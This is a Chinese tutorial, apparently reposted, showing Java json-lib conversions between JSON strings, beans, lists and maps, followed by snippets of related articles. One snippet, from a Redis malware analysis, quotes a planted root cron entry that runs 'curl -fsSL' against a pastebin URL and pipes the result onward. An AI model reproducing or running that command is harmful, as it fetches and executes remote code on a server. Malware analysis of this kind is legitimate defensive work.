文章部分代码实体类可以忽略。

原文:https://www.cnblogs.com/free-dom/p/5801866.html

代码如下:

 package covert;

 import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map; import net.sf.json.JSONArray;
import net.sf.json.JSONObject; /**
*
* @author jack 陈
*
*/
public class Student { private String name;
private String address;
private String age; public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public String getAddress() {
return address;
} public void setAddress(String address) {
this.address = address;
} public String getAge() {
return age;
} public void setAge(String age) {
this.age = age;
} public Student(String name, String address, String age) {
super();
this.name = name;
this.address = address;
this.age = age;
} public Student() {
super(); } @Override
public String toString() {
return "Student [name=" + name + ", address=" + address + ", age=" + age + ", getName()="
+ getName() + ", getAddress()=" + getAddress() + ", getAge()=" + getAge()
+ ", getClass()=" + getClass() + ", hashCode()=" + hashCode() + ", toString()="
+ super.toString() + "]";
}

     /**
*
* json转化,数组,对象
*/
public static void convertjson() { Student s = new Student();
s.setAddress("北京东城区");
s.setAge("56");
s.setName("刘德华"); // 对象
JSONObject jsonObject = JSONObject.fromObject(s);
// 数组
JSONArray jsonArray = JSONArray.fromObject(s); // 转化
String js1 = jsonObject.toString();
String js2 = jsonArray.toString(); // 打印
System.out.println(js1);
System.out.println(js2); }

     //json 转 字符串
public static void jsontostring() {
// 定义两种不同格式的字符串
String objectStr = "{\"name\":\"JSON\",\"age\":\"24\",\"address\":\"北京市西城区\"}";
String arrayStr = "[{\"name\":\"JSON\",\"age\":\"24\",\"address\":\"北京市西城区\"}]"; // 1、使用JSONObject
JSONObject object = JSONObject.fromObject(objectStr);
Student stu = (Student) JSONObject.toBean(object, Student.class); // 2、使用JSONArray
JSONArray jsonArray = JSONArray.fromObject(arrayStr);
// 获得jsonArray的第一个元素
Object o = jsonArray.get(0);
JSONObject jsonObject2 = JSONObject.fromObject(o);
Student stu2 = (Student) JSONObject.toBean(jsonObject2, Student.class);
System.out.println("stu:" + stu);
System.out.println("stu2:" + stu2); }

     // list转json(注意:list只能转json数组)
public static void listtojson() {
Student stu = new Student();
stu.setName("JSON");
stu.setAge("23");
stu.setAddress("北京市海淀区");
List<Student> list = new ArrayList<Student>();
list.add(stu); // 转化
//JSONObject listobjest = JSONObject.fromObject(list);
JSONArray listarray = JSONArray.fromObject(list); //打印
//System.out.println(listobjest.toString());
System.out.println(listarray.toString());
}

     // json转list
public static void jsontolist() { String arrayStr="[{\"name\":\"JSON\",\"age\":\"24\",\"address\":\"北京市西城区\"}]";
//转化为list
List<Student> list2= JSONArray.toList(JSONArray.fromObject(arrayStr), Student.class);
for (Student stu : list2) {
System.out.println(stu);
}
//转化为数组 Student[] array = (Student[]) JSONArray.toArray(JSONArray.fromObject(arrayStr), Student.class);
for (Student stu2 : array) {
System.out.println(stu2);
} }

     //map转json
public static void mapToJSON(){
Student stu=new Student();
stu.setName("JSON");
stu.setAge("23");
stu.setAddress("中国上海");
Map<String,Student> map=new HashMap<String,Student>();
map.put("first", stu); //1、JSONObject
JSONObject mapObject=JSONObject.fromObject(map);
System.out.println("mapObject"+mapObject.toString()); //2、JSONArray
JSONArray mapArray=JSONArray.fromObject(map);
System.out.println("mapArray:"+mapArray.toString());
}

     //json转map
public static void jsonToMap(){
String strObject="{\"first\":{\"address\":\"中国上海\",\"age\":\"23\",\"name\":\"JSON\"}}"; //JSONObject
JSONObject jsonObject=JSONObject.fromObject(strObject);
Map map=new HashMap();
map.put("first", Student.class); //使用了toBean方法,需要三个参数
MyBean my=(MyBean)JSONObject.toBean(jsonObject, MyBean.class, map);
System.out.println(my.getFirst()); }


     public static void main(String[] args) {
//convertjson();
System.out.println("===================");
//jsontostring();
System.out.println("===================");
//listtojson();
System.out.println("===================");
//jsontolist();
System.out.println("===================");
mapToJSON();
System.out.println("===================");
jsonToMap();
} }

MyBean类:

 package covert;
/**
*
* @author
*
*/
public class MyBean { private Student first; public Student getFirst() {
return first;
} public void setFirst(Student first) {
this.first = first;
} }

显示结果:

json转换学习的更多相关文章

  1. Spring学习---Spring中利用jackson进行JSON转换

    Spring中利用jackson进行JSON转换 import java.util.List; import com.fasterxml.jackson.core.JsonProcessingExce ...

  2. iOS Json转换模型库:YYModel

    iOS Json转换模型库:YYModel   其实在研究这个库之前,市面上已经有很多类似的模型序列化成JSON及反序列化库(如Mantle.MJExtension)了,推荐他只是因为他高端的性能和容 ...

  3. Newtonsoft.Json(Json.Net)学习

    转自原文 Newtonsoft.Json(Json.Net)学习笔记 Newtonsoft.Json,一款.NET中开源的Json序列化和反序列化类库.软件下载地址: http://www.newto ...

  4. JSON的学习与使用

    .katex { display: block; text-align: center; white-space: nowrap; } .katex-display > .katex > ...

  5. json转换成对象

    在json转换成对象时,json的key会与java 类的字段一一对应.如果没有映射上的java字段会在该数据类型上填充默认值,如int 0,String null 等. 没有映射的json key在 ...

  6. Json转换利器Gson之实例一-简单对象转化和带泛型的List转化 (转)

    Gson 是 Google 提供的用来在 Java 对象和 JSON 数据之间进行映射的 Java 类库.可以将一个 JSON 字符串转成一个 Java 对象,或者反过来. jar和源码下载地址: h ...

  7. json转换数据后面参数要带ture,代码

    强大的PHP已经提供了内置函数:json_encode() 和 json_decode().很容易理解,json_encode()就是将PHP数组转换成Json.相反,json_decode()就是将 ...

  8. JSON 教程学习进度备忘

    书签:跳过:另外跳过的内容有待跟进 __________________ 学习资源:W3School. _________________ 跳过的内容: 1. ______________ 知识点:1 ...

  9. miniui datagrid 保存到服务端,使用.NET 自带 JSON 转换时发现日期格式不兼容。

    使用 miniui datagrid 修改表格后,保存到服务端,然后使用 .NET 自带 JSON 转换,会抛出DateTime 内容“2015-12-27T11:02:28”未按 JSON 的要求以 ...

随机推荐

  1. mysql存储过程实例,查询多参数赋值

    drop procedure if exists p_for_create_customer; create procedure p_for_create_customer()begin declar ...

  2. 远程FTP下载文件

    现在存在以下环境: 远程服务器:192.168.1.107 用户名:dt 密码:dt123 需要从该服务器上下载文件到本地 1.登录(进入到那个目录登录的 ,文件就会被下载到该文件) ftp 192. ...

  3. phpBB3导入用户的Python脚本

    关联的数据表 在phpBB3中导入用户时, 需要处理的有两张表, 一个是 users, 一个是 user_group. 如果是新安装的论坛, 在每次导入之前, 用以下语句初始化: DELETE FRO ...

  4. lua 源码分析之线程对象lua_State

    lua_State 中放的是 lua 虚拟机中的环境表.注册表.运行堆栈.虚拟机的上下文等数据. 从一个主线程(特指 lua 虚拟机中的线程,即 coroutine)中创建出来的新的 lua_Stat ...

  5. IDEA使用笔记(九)——设置文件注释

    方式一:后写文件描述信息 1:设置——如下图所示 2:验证——创建个类试试 3:验证——结果如下 4:其他,所有注释模版中包含 #parse("File Header.java") ...

  6. 面经 cisco

    1. 优先级反转问题及解决方法 (1)什么是优先级反转 简单从字面上来说,就是低优先级的任务先于高优先级的任务执行了,优先级搞反了.那在什么情况下会生这种情况呢? 假设三个任务准备执行,A,B,C,优 ...

  7. caffe可重入单例机制分析

    一个函数可重入是指该函数可以被多个线程同时调用.大多数函数都不是可重如的,因为很多函数会修改静态数据结构里的内容,如果多个线程同时调用,势必破坏共享的静态结构.可以在不改变公共接口的情况下,将一个非重 ...

  8. Python(可变/不可变类型,list,tuple,dict,set)

    补充:(可用操作技巧) >>> x=900 >>> y=900 >>> x==y True >>> type(x) is typ ...

  9. 记一次redis病毒分析笔记

    起因 偶然间发现redis里有一个陌生key:tightsoft,它的值是:*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb| ...

  10. Win10正式企业版激活方法

    Win10正式企业版激活方法 在正式开始激活Win10正式企业版系统之前,我们需要先查看一下当前Win10正式企业版系统的激活状态: 右击桌面左下角的“Windows”按钮,从弹出的右键菜单中选择“控 ...